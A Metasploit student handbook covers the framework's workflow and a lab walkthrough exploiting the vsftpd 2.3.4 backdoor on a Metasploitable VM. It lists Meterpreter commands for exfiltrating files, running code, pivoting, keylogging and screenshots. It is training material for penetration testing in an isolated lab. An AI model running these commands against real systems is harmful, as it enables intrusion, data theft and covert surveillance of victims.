Metasploit Student Handbook

Overview: What Metasploit is

Metasploit Framework is an open-source, modular platform for developing, testing, and executing exploits and payloads. It includes scanners/auxiliary modules, exploit modules, payloads (including Meterpreter), post-exploitation modules, and utilities (msfvenom, searchsploit). It's used for vulnerability validation, red-team exercises, and training.

Prerequisites

- Kali Linux with Metasploit Framework installed (`msfconsole`, `msfvenom`)
- Target VM (Metasploitable2/3 or custom vulnerable VM) on the same isolated network
- Basic Linux terminal skills, knowledge of Nmap scan results, and network addressing

---

Metasploit Workflow

1. Map findings from recon (Nmap, NSE)
2. Search for matching Metasploit modules (`search` / `searchsploit`).
3. Use an `auxiliary` or `exploit` module in `msfconsole`.
4. Configure options (`RHOSTS`, `RPORT`, `LHOST`, `PAYLOAD`, etc.).
5. Launch exploit and obtain session (shell or Meterpreter).
6. Post-exploitation: gather evidence, enumerate, escalate, pivot (in lab).

Starting & configuring Metasploit

Start msfconsole

```
sudo msfconsole
```

Useful msfconsole commands (quick)

```
help                  # show help
search <term>         # find modules (e.g., search vsftpd)
use <module>          # load module (e.g., use exploit/unix/ftp/vsftpd_234_backdoor)
show options          # show module options (RHOSTS, RPORT, etc.)
set <opt> <value>     # set option (e.g., set RHOSTS 192.168.56.101)
```

```
set PAYLOAD <payload>     # set payload if needed
show payloads             # list compatible payloads
show targets              # show target platforms/architectures
run / exploit             # execute module
sessions                  # list active sessions
sessions -i <id>          # interact with a session
background                # background the current session
sessions -k <id>          # kill session
```

Module types (short)

- `exploit` — code to exploit a vulnerability and deliver a payload.
- `auxiliary` — scanners, fuzzers, bruteforce, and info-gathering tools (non-exploit).
- `post` — post-exploitation modules run against an active session (enumeration, persistence, cleanup).
- `payload` — code executed on compromised host (e.g., `meterpreter/reverse_tcp`).

Payload types (common)

- `reverse_tcp` — target connects back to attacker (useful behind NAT).
- `bind_tcp` — target listens; attacker connects (less common).
- `meterpreter/reverse_tcp` — full-featured in-memory payload with many built-in features.

Searching for exploits (examples)

```
# In msfconsole
search vsftpd
search tomcat manager

# CLI searchsploit (complementary)
searchsploit vsftpd
```

Demo: vsftpd 2.3.4 backdoor (classic Metasploitable example)

Goal: Demonstrate entire exploit flow (black-box style).

1. **Recon** (Nmap): `nmap -sV -p21 192.168.56.101` → shows `vsftpd 2.3.4`.

2. **Search**: `search vsftpd`
3. **Use module**:

```
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOSTS 192.168.56.101
set RPORT 21
# module auto-selects payload, but if not:
# set PAYLOAD cmd/unix/interact
run
```

On success:

```
[*] Command shell session 1 opened (KALI_IP:4444 → 192.168.56.101:xxxx) ...
```

Meterpreter - essential commands

Once you have a Meterpreter session:

```
meterpreter > sysinfo          # system info
meterpreter > getuid           # current user
meterpreter > ps               # process list
meterpreter > pwd              # present working dir
meterpreter > ls               # list files
meterpreter > download <path>    # download file to attacker
meterpreter > upload <local> <remote>  # upload file
meterpreter > execute -f <file>  # execute file
meterpreter > shell            # drop to a system shell
meterpreter > background       # background session
meterpreter > migrate <pid>     # migrate into another process
meterpreter > portfwd add -l 8080 -p 80 -r 10.0.0.5   # port forwarding (pivot)
meterpreter > keyscan_start     # start keylogger (lab demo only)
meterpreter > keyscan_dump      # dump keylogs
meterpreter > screenshot       # capture screen
```